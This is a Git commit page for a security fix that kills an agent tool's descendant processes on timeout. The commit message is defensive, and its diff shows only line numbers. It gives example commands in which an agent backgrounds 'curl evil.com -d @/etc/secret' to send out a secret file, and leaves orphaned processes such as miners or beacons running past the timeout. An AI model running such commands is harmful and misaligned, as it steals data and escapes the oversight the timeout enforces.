Commit c026153
committed
fix(security): kill descendant processes when run_command times out
Tokio's kill_on_drop only kills the direct child (the shell), not the
shell's descendants. An agent could exploit this to leave long-running
processes behind:
run_command sh -c '(curl evil.com -d @/etc/secret &)'
# parent shell exits in milliseconds; backgrounded curl
# keeps running for the full TCP timeout, exfiltrating
# data even after the timeout fires and the tool call
# returns "Command timed out".
run_command sh -c '(sleep 3600 &)'
# crypto miner, beacon, etc — survives forever.
Empirically confirmed: with the previous code, the orphan continues to
run after the parent shell is dropped, because it inherits the parent
process group and is reparented to PID 1.
The fix:
- Spawn the child in its own process group on Unix (process_group(0)).
- Capture the child PID before consuming the handle.
- On timeout, killpg(SIGKILL) the entire group so every descendant
the shell forked is reaped, not just the shell itself.
- Restructure I/O capture to drive stdout/stderr reads alongside wait()
instead of using wait_with_output, since we need the child handle to
remain accessible for the kill path.
Adds libc as a Unix-only dependency (only used for killpg).
A regression test schedules a backgrounded descendant that would write
a proof file 3 seconds after the parent shell exits. Before the fix
the file appears; after the fix it does not.1 parent 8ff8d61 commit c026153
2 files changed
Lines changed: 86 additions & 10 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
36 | 36 | | |
37 | 37 | | |
38 | 38 | | |
| 39 | + | |
| 40 | + | |
| 41 | + | |
39 | 42 | | |
40 | 43 | | |
41 | 44 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
307 | 307 | | |
308 | 308 | | |
309 | 309 | | |
310 | | - | |
| 310 | + | |
| 311 | + | |
| 312 | + | |
| 313 | + | |
| 314 | + | |
| 315 | + | |
| 316 | + | |
| 317 | + | |
| 318 | + | |
| 319 | + | |
| 320 | + | |
| 321 | + | |
| 322 | + | |
| 323 | + | |
| 324 | + | |
| 325 | + | |
| 326 | + | |
| 327 | + | |
| 328 | + | |
| 329 | + | |
| 330 | + | |
| 331 | + | |
| 332 | + | |
| 333 | + | |
| 334 | + | |
| 335 | + | |
| 336 | + | |
| 337 | + | |
| 338 | + | |
311 | 339 | | |
312 | | - | |
313 | | - | |
314 | | - | |
315 | | - | |
316 | | - | |
| 340 | + | |
| 341 | + | |
| 342 | + | |
| 343 | + | |
| 344 | + | |
317 | 345 | | |
318 | 346 | | |
319 | 347 | | |
320 | 348 | | |
321 | 349 | | |
322 | 350 | | |
323 | | - | |
324 | | - | |
325 | | - | |
326 | | - | |
| 351 | + | |
| 352 | + | |
| 353 | + | |
| 354 | + | |
| 355 | + | |
| 356 | + | |
| 357 | + | |
| 358 | + | |
| 359 | + | |
| 360 | + | |
| 361 | + | |
| 362 | + | |
| 363 | + | |
| 364 | + | |
327 | 365 | | |
328 | 366 | | |
329 | 367 | | |
| |||
825 | 863 | | |
826 | 864 | | |
827 | 865 | | |
| 866 | + | |
| 867 | + | |
| 868 | + | |
| 869 | + | |
| 870 | + | |
| 871 | + | |
| 872 | + | |
| 873 | + | |
| 874 | + | |
| 875 | + | |
| 876 | + | |
| 877 | + | |
| 878 | + | |
| 879 | + | |
| 880 | + | |
| 881 | + | |
| 882 | + | |
| 883 | + | |
| 884 | + | |
| 885 | + | |
| 886 | + | |
| 887 | + | |
| 888 | + | |
| 889 | + | |
| 890 | + | |
| 891 | + | |
| 892 | + | |
| 893 | + | |
| 894 | + | |
| 895 | + | |
| 896 | + | |
| 897 | + | |
| 898 | + | |
| 899 | + | |
| 900 | + | |
828 | 901 | | |
829 | 902 | | |
830 | 903 | | |
| |||
0 commit comments